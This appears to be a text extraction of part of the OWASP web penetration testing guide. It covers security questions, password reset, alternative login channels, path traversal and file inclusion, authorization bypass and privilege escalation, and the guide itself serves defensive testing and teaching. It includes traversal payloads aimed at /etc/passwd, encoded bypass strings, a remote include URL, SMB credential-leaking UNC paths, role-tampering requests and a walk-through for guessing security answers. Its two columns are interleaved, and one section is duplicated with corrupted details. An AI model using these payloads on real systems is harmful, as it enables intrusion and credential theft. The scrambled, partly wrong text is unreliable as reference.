are only known by the account holder. However, although a lot of swered. The majority of applications only need the user to answer
answers may not be publicly known, most of the questions that a single question, whereas some critical applications may require
websites implement promote answers that are pseudo-private. the user to answer two or even more questions.
The next step is to assess the strength of the security questions.
Pre-generated questions: Could the answers be obtained by a simple Google search or with
The majority of pre-generated questions are fairly simplistic in na- social engineering attack? As a penetration tester, here is a step-
ture and can lead to insecure answers. For example: by-step walk-through of exploiting a security question scheme:

• The answers may be known to family members or close friends [1] Does the application allow the end-user to choose the ques-
of the user, e.g. “What is your mother’s maiden name?”, “What is tion that needs to be answered? If so, focus on questions which
your date of birth?” have:
• The answers may be easily guessable, e.g. “What is your favorite • A “public” answer; for example, something that could be find
color?”, “What is your favorite baseball team?” with a simple search-engine query.
• The answers may be brute forcible, e.g. “What is the first name • A factual answer such as a “first school” or other facts which can
of your favorite high school teacher?” - the answer is probably be looked up.
on some easily downloadable lists of popular first names, and • Few possible answers, such as “what model was your first car”.
therefore a simple brute force attack can be scripted. These questions would present the attacker with a short list of
• The answers may be publicly discoverable, e.g. “What is your possible answers, and based on statistics the attacker could rank
favorite movie?” - the answer may easily be found on the user’s answers from most to least likely.
social media profile page.
[2] Determine how many guesses you have if possible.
Self-generated questions: • Does the password reset allow unlimited attempts?
The problem with having users to generate their own questions is • Is there a lockout period after X incorrect answers? Keep in mind
that it allows them to generate very insecure questions, or even that a lockout system can be a security problem in itself, as it can
bypass the whole point of having a security question in the first be exploited by an attacker to launch a Denial of Service against
place. Here are some real world examples that illustrate this point: legitimate users.

• “What is 1+1?” [3] Pick the appropriate question based on analysis from the
• “What is your username?” above points, and do research to determine the most likely an-
• “My password is M3@t$p1N” swers.

How to Test The key to successfully exploiting and bypassing a weak security
Testing for weak pre-generated questions: question scheme is to find a question or set of questions which
Try to obtain a list of security questions by creating a new account give the possibility of easily finding the answers. Always look for
or by following the “I don’t remember my password”-process. Try questions which can give you the greatest statistical chance of
to generate as many questions as possible to get a good idea of guessing the correct answer, if you are completely unsure of any
the type of security questions that are asked. If any of the security of the answers. In the end, a security question scheme is only as
questions fall in the categories described above, they are vulner- strong as the weakest question.
able to being attacked (guessed, brute-forced, available on social
media, etc.). References
The Curse of the Secret Question
Testing for weak self-generated questions:
Try to create security questions by creating a new account or by Testing for weak password change or reset
configuring your existing account’s password recovery properties. functionalities (OTG-AUTHN-009)
If the system allows the user to generate their own security ques- Summary
tions, it is vulnerable to having insecure questions created. If the The password change and reset function of an application is a
system uses the self-generated security questions during the for- self-service password change or reset mechanism for users. This
gotten password functionality and if usernames can be enumer- self-service mechanism allows users to quickly change or reset
ated (see Testing for Account Enumeration and Guessable User their password without an administrator intervening. When pass-
Account (OTG-IDENT-004)), then it should be easy for the tester words are changed they are typically changed within the applica-
to enumerate a number of self-generated questions. It should be tion. When passwords are reset they are either rendered within
expected to find several weak self-generated questions using this the application or emailed to the user. This may indicate that the
method. passwords are stored in plain text or in a decryptable format.

Testing for brute-forcible answers: Test objectives


Use the methods described in Testing for Weak lock out mecha- [1] Determine the resistance of the application to subversion
nism (OTG-AUTHN-003) to determine if a number of incorrectly of the account change process allowing someone to change the
76

Web Application Penetration Testing

password of an account. To limit denial-of-service attacks the application should email a


[2] Determine the resistance of the passwords reset functionality link to the user with a random token, and only if the user visits the
against guessing or bypassing. link then the reset procedure is completed. This ensures that the
current password will still be valid until the reset has been con-
How to Test firmed.
For both password change and password reset it is important to
check: Test Password Change
In addition to the previous test it is important to verify:
[1] if users, other than administrators, can change or reset pass-
words for accounts other than their own. • Is the old password requested to complete the change?
[2] if users can manipulate or subvert the password change or re-
set process to change or reset the password of another user or The most insecure scenario here is if the application permits the
administrator. change of the password without requesting the current password.
[3] if the password change or reset process is vulnerable to CSRF. Indeed if an attacker is able to take control of a valid session they
could easily change the victim’s password.
Test Password Reset
In addition to the previous checks it is important to verify the fol- See also Testing for Weak password policy paragraph of this guide.
lowing: References
• OWASP Forgot Password Cheat Sheet
• What information is required to reset the password? • OWASP Periodic Table of Vulnerabilities - Insufficient Password
Recovery
The first step is to check whether secret questions are required.
Sending the password (or a password reset link) to the user email Remediation
address without first asking for a secret question means relying The password change or reset function is a sensitive function
100% on the security of that email address, which is not suitable if and requires some form of protection, such as requiring users to
the application needs a high level of security. re-authenticate or presenting the user with confirmation screens
On the other hand, if secret questions are used, the next step is during the process.
to assess their strength. This specific test is discussed in detail in
the Testing for Weak security question/answer paragraph of this Testing for Weaker authentication in alterna-
guide. tive channel (OTG-AUTHN-010)
Summary
• How are reset passwords communicated to the user? Even if the primary authentication mechanisms do not include any
vulnerabilities, it may be that vulnerabilities exist in alternative le-
The most insecure scenario here is if the password reset tool gitimate authentication user channels for the same user accounts.
shows you the password; this gives the attacker the ability to log Tests should be undertaken to identify alternative channels and,
into the account, and unless the application provides information subject to test scoping, identify vulnerabilities.
about the last log in the victim would not know that their account
has been compromised. The alternative user interaction channels could be utilized to cir-
A less insecure scenario is if the password reset tool forces the cumvent the primary channel, or expose information that can then
user to immediately change their password. While not as stealthy be used to assist an attack against the primary channel. Some of
as the first case, it allows the attacker to gain access and locks the these channels may themselves be separate web applications us-
real user out. ing different host names or paths. For example:
The best security is achieved if the password reset is done via an
email to the address the user initially registered with, or some • Standard website
other email address; this forces the attacker to not only guess at • Mobile, or specific device, optimized website
which email account the password reset was sent to (unless the • Accessibility optimized website
application show this information) but also to compromise that • Alternative country and language websites
email account in order to obtain the temporary password or the • Parallel websites that utilize the same user accounts
password reset link. (e.g. another website offering different functionally of the same
organization, a partner website with which user accounts are
• Are reset passwords generated randomly? shared)
• Development, test, UAT and staging versions of the standard
The most insecure scenario here is if the application sends or vi- website
sualizes the old password in clear text because this means that
passwords are not stored in a hashed form, which is a security But they could also be other types of application or business pro-
issue in itself. cesses:
The best security is achieved if passwords are randomly generat-
ed with a secure algorithm that cannot be derived. • Mobile device app
• Desktop application
• Is the reset password functionality requesting confirmation be- • Call center operators
fore changing the password? • Interactive voice response or phone tree systems
77

Web Application Penetration Testing

Note that the focus of this test is on alternative channels; some For each possible channel confirm whether user accounts are
authentication alternatives might appear as different content shared across these, or provide access to the same or similar
delivered via the same website and would almost certainly be functionality.
in scope for testing. These are not discussed further here, and
should have been identified during information gathering and pri- Enumerate authentication functionality
mary authentication testing. For example: For each alternative channel where user accounts or functionality
are shared, identify if all the authentication functions of the pri-
• Progressive enrichment and graceful degradation that change mary channel are available, and if anything extra exists. It may be
functionality useful to create a grid like the one below:
• Site use without cookies In this example, mobile has an extra function “change password”
• Site use without JavaScript
• Site use without plugins such as for Flash and Java phpBB Mobile Call Center Partner Website
Register Yes - -
Even if the scope of the test does not allow the alternative chan- Log in Yes Yes Yes (SSO)
nels to be tested, their existence should be documented. These Log out - - -
may undermine the degree of assurance in the authentication Password reset Yes Yes -
mechanisms and may be a precursor to additional testing. - Change password - -
Example
The primary website is:
but does not offer “log out”. A limited number of tasks are also
http://www.example.com possible by phoning the call center. Call centers can be interesting,
because their identity confirmation checks might be weaker than
the website’s, allowing this channel to be used to aid an attack
and authentication functions always take place on pages using against a user’s account.
Transport Layer Security:
While enumerating these it is worth taking note of how session
management is undertaken, in case there is overlap across any
https://www.example.com/myaccount/
channels (e.g. cookies scoped to the same parent domain name,
concurrent sessions allowed across channels, but not on the same
channel).
However, a separate mobile-optimized website exists that does
not use Transport Layer Security at all, and has a weaker pass- Review and test
word recovery mechanism: Alternative channels should be mentioned in the testing report,
even if they are marked as “information only” and/or “out of
scope”. In some cases the test scope might include the alterna-
http://m.example.com/myaccount/
tive channel (e.g. because it is just another path on the target host
name), or may be added to the scope after discussion with the
owners of all the channels. If testing is permitted and authorized,
How to Test all the other authentication tests in this guide should then be per-
Understand the primary mechanism formed, and compared against the primary channel.
Fully test the website’s primary authentication functions. This
should identify how accounts are issued, created or changed and Related Test Cases
how passwords are recovered, reset, or changed. Additionally The test cases for all the other authentication tests should be uti-
knowledge of any elevated privilege authentication and authen- lized.
tication protection measures should be known. These precursors
are necessary to be able to compare with any alternative channels. Remediation
Ensure a consistent authentication policy is applied across all
Identify other channels channels so that they are equally secure.
Other channels can be found by using the following methods:
Authorization Testing
• Reading site content, especially the home page, contact us, help Authorization is the concept of allowing access to resources only
pages, support articles and FAQs, T&Cs, privacy notices, the ro- to those permitted to use them. Testing for Authorization means
bots.txt file and any sitemap.xml files. understanding how the authorization process works, and using
• Searching HTTP proxy logs, recorded during previous informa- that information to circumvent the authorization mechanism.
tion gathering and testing, for strings such as “mobile”, “android”,
blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless”, Authorization is a process that comes after a successful authen-
“auth”, “sso”, “single sign on” in URL paths and body content. tication, so the tester will verify this point after he holds valid cre-
• Use search engines to find different websites from the same dentials, associated with a well-defined set of roles and privileges.
organization, or using the same domain name, that have similar During this kind of assessment, it should be verified if it is possible
home page content or which also have authentication mecha- to bypass the authorization schema, find a path traversal vulnera-
nisms. bility, or find ways to escalate the privileges assigned to the tester.
78

Web Application Penetration Testing

Testing Directory traversal/file include Here are some examples of the checks to be performed at this stage:
(OTG-AUTHZ-001)
Summary • Are there request parameters which could be used for file-related
Many web applications use and manage files as part of their daily operations?
operation. Using input validation methods that have not been well • Are there unusual file extensions?
designed or deployed, an aggressor could exploit the system in or- • Are there interesting variable names?
der to read or write files that are not intended to be accessible. In
particular situations, it could be possible to execute arbitrary code http://example.com/getUserProfile.jsp?item=ikki.html
or system commands. http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
Traditionally, web servers and web applications implement au-
thentication mechanisms to control access to files and resources.
Web servers try to confine users’ files inside a “root directory” or • Is it possible to identify cookies used by the web application for the
“web document root”, which represents a physical directory on the dynamic generation of pages or templates?
file system. Users have to consider this directory as the base di-
rectory into the hierarchical structure of the web application.
The definition of the privileges is made using Access Control Lists Cookie: ID=d9ccd3f4f9f18cc1:T-
(ACL) which identify which users or groups are supposed to be M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-
able to access, modify, or execute a specific file on the server. TEMPLATE=flower
These mechanisms are designed to prevent malicious users from Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
accessing sensitive files (for example, the common /etc/passwd
file on a UNIX-like platform) or to avoid the execution of system
commands. Testing Techniques
The next stage of testing is analyzing the input validation functions
Many web applications use server-side scripts to include different present in the web application. Using the previous example, the dy-
kinds of files. It is quite common to use this method to manage im- namic page called getUserProfile.jsp loads static information from a
ages, templates, load static texts, and so on. Unfortunately, these file and shows the content to users. An attacker could insert the mali-
applications expose security vulnerabilities if input parameters (i.e., cious string “../../../../etc/passwd” to include the password hash file of
form parameters, cookie values) are not correctly validated. a Linux/UNIX system. Obviously, this kind of attack is possible only if
the validation checkpoint fails; according to the file system privileges,
In web servers and web applications, this kind of problem arises the web application itself must be able to read the file.
in path traversal/file include attacks. By exploiting this kind of vul-
nerability, an attacker is able to read directories or files which they To successfully test for this flaw, the tester needs to have knowledge
normally couldn’t read, access data outside the web document root, of the system being tested and the location of the files being request-
or include scripts and other kinds of files from external websites. ed. There is no point requesting /etc/passwd from an IIS web server.

For the purpose of the OWASP Testing Guide, only the securi-
http://example.com/getUserProfile.jsp?item=../../../../etc/
ty threats related to web applications will be considered and not
passwd
threats to web servers (e.g., the infamous “%5c escape code” into
Microsoft IIS web server). Further reading suggestions will be pro-
vided in the references section for interested readers.
For the cookies example:
This kind of attack is also known as the dot-dot-slash attack (../),
directory traversal, directory climbing, or backtracking. Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

During an assessment, to discover path traversal and file include


flaws, testers need to perform two different stages: It’s also possible to include files and scripts located on external web-
site.
(a) Input Vectors Enumeration (a systematic evaluation of each in-
put vector)
http://example.com/index.php?file=http://www.owasp.org/
(b) Testing Techniques (a methodical evaluation of each attack tech-
malicioustxt
nique used by an attacker to exploit the vulnerability)

How to Test
Black Box testing The following example will demonstrate how it is possible to show
Input Vectors Enumeration the source code of a CGI component, without using any path traversal
In order to determine which part of the application is vulnerable to characters.
input validation bypassing, the tester needs to enumerate all parts
of the application that accept content from the user. This also in-
http://example.com/main.cgi?home=main.cgi
cludes HTTP GET and POST queries and common options like file
uploads and HTML forms.
79

Web Application Penetration Testing

The component called “main.cgi” is located in the same directory as • Extraneous parent directory markers with arbitrary items that
the normal HTML static files used by the application. In some cases may or may not exist
the tester needs to encode the requests using special characters (like
the “.” dot, “%00” null, ...) in order to bypass file extension controls or to Examples:
prevent script execution.
– file.txt
Tip: It’s a common mistake by developers to not expect every form of – file.txt...
encoding and therefore only do validation for basic encoded content. – file.txt<spaces>
If at first the test string isn’t successful, try another encoding scheme. – file.txt””””
Each operating system uses different characters as path separa- – file.txt<<<>>><
tor: – ./././file.txt
– nonexistant/../file.txt
Unix-like OS:

root directory: “/” • Windows API: The following items are discarded when used in any
directory separator: “/” shell command or API call where a string is taken as a filename:

periods
Windows OS’ Shell’:
spaces

root directory: “<drive letter>:\”


directory separator: “\” or “/” • Windows UNC Filepaths: Used to reference files on SMB shares.
Sometimes, an application can be made to refer to files on a remote
UNC filepath. If so, the Windows SMB server may send stored
Classic Mac OS: credentials to the attacker, which can be captured and cracked. These
may also be used with a self-referential IP address or domain name
root directory: “<drive letter>:” to evade filters, or used to access files on SMB shares inaccessible to
directory separator: “: the attacker, but accessible from the web server.

\\server_or_ip\path\to\file.abc
We should take in to account the following character encoding \\?\server_or_ip\path\to\file.abc
mechanisms:

• URL encoding and double URL encoding • Windows NT Device Namespace: Used to refer to the Windows
device namespace. Certain references will allow access to file
%2e%2e%2f represents ../ systems using a different path.
%2e%2e/ represents ../
..%2f represents ../ • May be equivalent to a drive letter such as c:\, or even a drive volume
%2e%2e%5c represents ..\ without an assigned letter.
%2e%2e\ represents ..\
..%5c represents ..\ \\.\GLOBALROOT\Device\HarddiskVolume1\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
• Refers to the first disc drive on the machine.

• Unicode/UTF-8 Encoding (it only works in systems that are able \\.\CdRom0\
to accept overlong UTF-8 sequences)

..%c0%af represents ../ Gray Box testing


..%c1%9c represents ..\ When the analysis is performed with a Gray Box approach, testers
have to follow the same methodology as in Black Box Testing. How-
ever, since they can review the source code, it is possible to search
There are other OS and application framework specific consider- the input vectors (stage (a) of the testing) more easily and accurately.
ations as well. For instance, Windows is flexible in its parsing of During a source code review, they can use simple tools (such as the
file paths. grep command) to search for one or more common patterns within
the application code: inclusion functions/methods, filesystem opera-
• Windows shell: Appending any of the following to paths used in tions, and so on.
a shell command results in no difference in function:
• Angle brackets “>” and “<” at the end of the path PHP: include(), include_once(), require(), require_once(), fopen(),
• Double quotes (closed properly) at the end of the path readfile(), ...
• Extraneous current directory markers such as “./” or “.\”
80

Web Application Penetration Testing

Authorization Testing
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
Authorization is the concept of allowing access to resources only to
ASP: include file, include virtual, ...
those permitted to use them. Testing for Authorization means under-
standing how the authorization process works, and using that infor-
Using online code search engines (e.g., Ohloh Code[1]), it may also be mation to circumvent the authorization mechanism.
possible to find path traversal flaws in Open Source software pub-
lished on the Internet. Authorization is a process that comes after a successful authentica-
tion, so the tester will verify this point after he holds valid credentials,
For PHP, testers can use: associated with a well-defined set of roles and privileges. During this
kind of assessment, it should be verified if it is possible to bypass the
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_ authorization schema, find a path traversal vulnerability, or find ways
(GET|POST|COOKIE) to escalate the privileges assigned to the tester.

Testing Directory traversal/file include


Using the Gray Box Testing method, it is possible to discover vulner- (OTG-AUTHZ-001)
abilities that are usually harder to discover, or even impossible to find Summary
during a standard Black Box assessment. Many web applications use and manage files as part of their daily oper-
ation. Using input validation methods that have not been well designed
Some web applications generate dynamic pages using values and pa- or deployed, an aggressor could exploit the system in order to read or
rameters stored in a database. It may be possible to insert specially write files that are not intended to be accessible. In particular situations,
crafted path traversal strings when the application adds data to the it could be possible to execute arbitrary code or system commands.
database. This kind of security problem is difficult to discover due to
the fact the parameters inside the inclusion functions seem internal Traditionally, web servers and web applications implement authentica-
and “safe” but are not in reality. tion mechanisms to control access to files and resources. Web servers
try to confine users’ files inside a “root directory” or “web document
Additionally, by reviewing the source code it is possible to analyze the root”, which represents a physical directory on the file system. Users
functions that are supposed to handle invalid input: some developers have to consider this directory as the base directory into the hierarchi-
try to change invalid input to make it valid, avoiding warnings and er- cal structure of the web application.
rors. These functions are usually prone to security flaws.
The definition of the privileges is made using Access Control Lists (ACL)
Consider a web application with these instructions: which identify which users or groups are supposed to be able to access,
modify, or execute a specific file on the server. These mechanisms are
filename = Request.QueryString(“file”); designed to prevent malicious users from accessing sensitive files (for
Replace(filename, “/”,”\”); example, the common /etc/passwd file on a UNIX-like platform) or to
Replace(filename, “..\”,””); avoid the execution of system commands.

Many web applications use server-side scripts to include different


Testing for the flaw is achieved by: kinds of files. It is quite common to use this method to manage images,
templates, load static texts, and so on. Unfortunately, these applica-
file=....//....//boot.ini tions expose security vulnerabilities if input parameters (i.e., form pa-
file=....\\....\\boot.ini rameters, cookie values) are not correctly validated.
file= ..\..\boot.ini
In web servers and web applications, this kind of problem arises in path
traversal/file include attacks. By exploiting this kind of vulnerability, an
Tools attacker is able to read directories or files which they normally couldn’t
• DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sec- read, access data outside the web document root, or include scripts
tester.net and other kinds of files from external websites.
• Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.
com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt For the purpose of the OWASP Testing Guide, only the security threats
• Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],OWASP: Zed At- related to web applications will be considered and not threats to web
tack Proxy (ZAP)[5]) servers (e.g., the infamous “%5c escape code” into Microsoft IIS web
• Enconding/Decoding tools server). Further reading suggestions will be provided in the references
• String searcher “grep” - http://www.gnu.org/software/grep/ section for interested readers.
This kind of attack is also known as the dot-dot-slash attack (../), di-
References rectory traversal, directory climbing, or backtracking.
Whitepapers
• phpBB Attachment Mod Directory Traversal HTTP POST Injection - During an assessment, to discover path traversal and file include
http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290. flaws, testers need to perform two different stages:
html[6]
• Windows File Pseudonyms: Pwnage and Poetry - http://www.slide- (a) Input Vectors Enumeration (a systematic evaluation of each input
share.net/BaronZor/windows-file-pseudonyms[7] vector)
81

Web Application Penetration Testing

(b) Testing Techniques (a methodical evaluation of each attack tech- The following example will demonstrate how it is possible to show
nique used by an attacker to exploit the vulnerability) the source code of a CGI component, without using any path traversal
characters.
How to Test
Black Box testing http://example.com/main.cgi?home=main.cgi
Input Vectors Enumeration
In order to determine which part of the application is vulnerable to in-
put validation bypassing, the tester needs to enumerate all parts of The component called “main.cgi” is located in the same directory as
the application that accept content from the user. This also includes the normal HTML static files used by the application. In some cases
HTTP GET and POST queries and common options like file uploads and the tester needs to encode the requests using special characters (like
HTML forms. the “.” dot, “%00” null, ...) in order to bypass file extension controls or to
prevent script execution.
Here are some examples of the checks to be performed at this stage:
Tip: It’s a common mistake by developers to not expect every form of
• Are there request parameters which could be used for file-related encoding and therefore only do validation for basic encoded content.
operations? If at first the test string isn’t successful, try another encoding scheme.
• Are there unusual file extensions?
• Are there interesting variable names? Each operating system uses different characters as path separator:

http://example.com/getUserProfile.jsp?item=ikki.html Unix-like OS:


http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm root directory: “/”
directory separator: “/”
• Is it possible to identify cookies used by the web application for the
dynamic generation of pages or templates? Windows OS’ Shell’:

Cookie: ID=d9ccd3f4f9f18cc1:T- root directory: “/”


M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:- directory separator: “/”
TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Classic Mac OS:

Testing Techniques root directory: “<drive letter>:”


The next stage of testing is analyzing the input validation functions directory separator: “:”
present in the web application. Using the previous example, the dy-
namic page called getUserProfile.jsp loads static information from a
file and shows the content to users. An attacker could insert the mali- We should take in to account the following character encoding mech-
cious string “../../../../etc/passwd” to include the password hash file of anisms:
a Linux/UNIX system. Obviously, this kind of attack is possible only if
the validation checkpoint fails; according to the file system privileges, • URL encoding and double URL encoding
the web application itself must be able to read the file.
%2e%2e%2f represents ../
To successfully test for this flaw, the tester needs to have knowledge
%2e%2e/ represents ../
of the system being tested and the location of the files being request-
..%2f represents ../
ed. There is no point requesting /etc/passwd from an IIS web server.
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd ..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
For the cookies example:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd • Unicode/UTF-8 Encoding (it only works in systems that are able
to accept overlong UTF-8 sequences)

It’s also possible to include files and scripts located on external web-
..%c0%af represents ../
site.
..%c1%9c represents ..\
http://example.com/index.php?file=http://www.owasp.org/
malicioustxt There are other OS and application framework specific considerations
as well. For instance, Windows is flexible in its parsing of file paths.
82

Web Application Penetration Testing

• Windows shell: Appending any of the following to paths used in accurately.


a shell command results in no difference in function: During a source code review, they can use simple tools (such as
the grep command) to search for one or more common patterns
• Angle brackets “>” and “<” at the end of the path within the application code: inclusion functions/methods, filesys-
• Double quotes (closed properly) at the end of the path tem operations, and so on.
• Extraneous current directory markers such as “./” or “.\”
• Extraneous parent directory markers with arbitrary items that PHP: include(), include_once(), require(), require_once(), fopen(),
may or may not exist readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
Examples: ASP: include file, include virtual, ...

– file.txt
– file.txt... Using online code search engines (e.g., Ohloh Code[1]), it may also
– file.txt<spaces> be possible to find path traversal flaws in Open Source software
– file.txt”””” published on the Internet.
– file.txt<<<>>><
– ./././file.txt For PHP, testers can use:
– nonexistant/../file.txt
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_
(GET|POST|COOKIE)
• Windows API: The following items are discarded when used in
any shell command or API call where a string is taken as a
filename: Using the Gray Box Testing method, it is possible to discover vul-
nerabilities that are usually harder to discover, or even impossible
periods to find during a standard Black Box assessment.
spaces
Some web applications generate dynamic pages using values
and parameters stored in a database. It may be possible to insert
• Windows UNC Filepaths: Used to reference files on SMB shares. specially crafted path traversal strings when the application adds
Sometimes, an application can be made to refer to files on data to the database.
a remote UNC filepath. If so, the Windows SMB server may This kind of security problem is difficult to discover due to the fact
send stored credentials to the attacker, which can be captured the parameters inside the inclusion functions seem internal and
and cracked. These may also be used with a self-referential IP “safe” but are not in reality.
address or domain name to evade filters, or used to access files Additionally, by reviewing the source code it is possible to analyze the
on SMB shares inaccessible to the attacker, but accessible from functions that are supposed to handle invalid input: some developers
the web server. try to change invalid input to make it valid, avoiding warnings and er-
rors. These functions are usually prone to security flaws.
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc Consider a web application with these instructions:

filename = Request.QueryString(“file”);
• Windows NT Device Namespace: Used to refer to the Windows Replace(filename, “/”,”\”);
device namespace. Certain references will allow access to file Replace(filename, “..\”,””);
systems using a different path.

• May be equivalent to a drive letter such as c:\, or even a drive Testing for the flaw is achieved by:
volume without an assigned letter.
filename = Request.QueryString(“file”);
\\.\GLOBALROOT\Device\HarddiskVolume1\ Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);
• Refers to the first disc drive on the machine.
Tools
\\.\CdRom0\ • DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.
sectester.net
• Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.
Gray Box testing com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt
When the analysis is performed with a Gray Box approach, tes- • Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],OWASP: Zed At-
ters have to follow the same methodology as in Black Box Testing. tack Proxy (ZAP)[5])
However, since they can review the source code, it is possible to • Enconding/Decoding tools
search the input vectors (stage (a) of the testing) more easily and • String searcher “grep” - http://www.gnu.org/software/grep/
83

Web Application Penetration Testing

References Tools
Whitepapers • OWASP WebScarab: OWASP WebScarab Project
• phpBB Attachment Mod Directory Traversal HTTP • OWASP Zed Attack Proxy (ZAP)
POST Injection - http://archives.neohapsis.com/archives/
fulldisclosure/2004-12/0290.html[6] Testing for Privilege escalation
• Windows File Pseudonyms: Pwnage and Poetry - http://www. (OTG-AUTHZ-003)
slideshare.net/BaronZor/windows-file-pseudonyms[7] Summary
This section describes the issue of escalating privileges from one
Testing for Bypassing Authorization Schema stage to another. During this phase, the tester should verify that
(OTG-AUTHZ-002) it is not possible for a user to modify his or her privileges or roles
Summary inside the application in ways that could allow privilege escalation
This kind of test focuses on verifying how the authorization sche- attacks.
ma has been implemented for each role or privilege to get access
to reserved functions and resources. Privilege escalation occurs when a user gets access to more re-
sources or functionality than they are normally allowed, and such
For every specific role the tester holds during the assessment, for elevation or changes should have been prevented by the applica-
every function and request that the application executes during tion. This is usually caused by a flaw in the application. The result
the post-authentication phase, it is necessary to verify: is that the application performs actions with more privileges than
those intended by the developer or system administrator.
• Is it possible to access that resource even if the user is not
authenticated? The degree of escalation depends on what privileges the attacker
• Is it possible to access that resource after the log-out? is authorized to possess, and what privileges can be obtained in a
• Is it possible to access functions and resources that should be successful exploit. For example, a programming error that allows
accessible to a user that holds a different role or privilege? a user to gain extra privilege after successful authentication limits
the degree of escalation, because the user is already authorized to
Try to access the application as an administrative user and track hold some privilege. Likewise, a remote attacker gaining superus-
all the administrative functions. er privilege without any authentication presents a greater degree
of escalation.
• Is it possible to access administrative functions also if the tester Usually, people refer to vertical escalation when it is possible to
is logged as a user with standard privileges? access resources granted to more privileged accounts (e.g., ac-
• Is it possible to use these administrative functions as a user with quiring administrative privileges for the application), and to hor-
adifferent role and for whom that action should be denied? izontal escalation when it is possible to access resources granted
to a similarly configured account (e.g., in an online banking appli-
How to test cation, accessing information related to a different user).
Testing for access to administrative functions
For example, suppose that the ‘AddUser.jsp’ function is part of the How to test
administrative menu of the application, and it is possible to access Testing for role/privilege manipulation
it by requesting the following URL: In every portion of the application where a user can create infor-
mation in the database (e.g., making a payment, adding a con-
https://www.example.com/admin/addUser.jsp tact, or sending a message), can receive information (statement
of account, order details, etc.), or delete information (drop users,
messages, etc.), it is necessary to record that functionality. The
Then, the following HTTP request is generated when calling the tester should try to access such functions as another user in order
AddUser function: to verify if it is possible to access a function that should not be
permitted by the user’s role/privilege (but might be permitted as
POST /admin/addUser.jsp HTTP/1.1 another user).
Host: www.example.com
[other HTTP headers] For example:
The following HTTP POST allows the user that belongs to grp001
userID=fakeuser&role=3&group=grp001 to access order #0001:

POST /admin/addUser.jsp HTTP/1.1


What happens if a non-administrative user tries to execute that Host: www.example.com
request? Will the user be created? If so, can the new user use their [other HTTP headers]
privileges?
userID=fakeuser&role=3&group=grp001
Testing for access to resources assigned to a different role
For example analyze an application that uses a shared directory to
store temporary PDF files for different users. Suppose that doc- Verify if a user that does not belong to grp001 can modify the val-
umentABC.pdf should be accessible only by the user test1 with ue of the parameters ‘groupID’ and ‘orderID’ to gain access to that
roleA. Verify if user test2 with roleB can access that resource. privileged data.
84

Web Application Penetration Testing

For example: result of this vulnerability attackers can bypass authorization and
The following server’s answer shows a hidden field in the HTML access resources in the system directly, for example database re-
returned to the user after a successful authentication. cords or files.

HTTP/1.1 200 OK Insecure Direct Object References allow attackers to bypass au-
Server: Netscape-Enterprise/6.0 thorization and access resources directly by modifying the value
Date: Wed, 1 Apr 2006 13:51:20 GMT of a parameter used to directly point to an object. Such resourc-
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; es can be database entries belonging to other users, files in the
domain=www.example.com system, and more. This is caused by the fact that the application
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; takes user supplied input and uses it to retrieve an object without
domain= www.example.com performing sufficient authorization checks.
Cache-Control: no-cache How to Test
Pragma: No-cache
Content-length: 247 To test for this vulnerability the tester first needs to map out all
Content-Type: text/html locations in the application where user input is used to reference
Expires: Thu, 01 Jan 1970 00:00:00 GMT objects directly. For example, locations where user input is used to
Connection: close access a database row, a file, application pages and more. Next the
tester should modify the value of the parameter used to reference
<form name=”autoriz” method=”POST” action = “visual.jsp”> objects and assess whether it is possible to retrieve objects be-
<input type=”hidden” name=”profile” value=”SysAdmin”> longing to other users or otherwise bypass authorization.
<body onload=”document.forms.autoriz.submit()”>
</td> The best way to test for direct object references would be by hav-
</tr> ing at least two (often more) users to cover different owned ob-
jects and functions. For example two users each having access to
different objects (such as purchase information, private messages,
What if the tester modifies the value of the variable “profile” to etc.), and (if relevant) users with different privileges (for example
“SysAdmin”? Is it possible to become administrator? administrator users) to see whether there are direct references to
application functionality. By having multiple users the tester saves
For example: valuable testing time in guessing different object names as he can
In an environment where the server sends an error message con- attempt to access objects that belong to the other user.
tained as a value in a specific parameter in a set of answer codes,
as the following: Below are several typical scenarios for this vulnerability and the
methods to test for each:
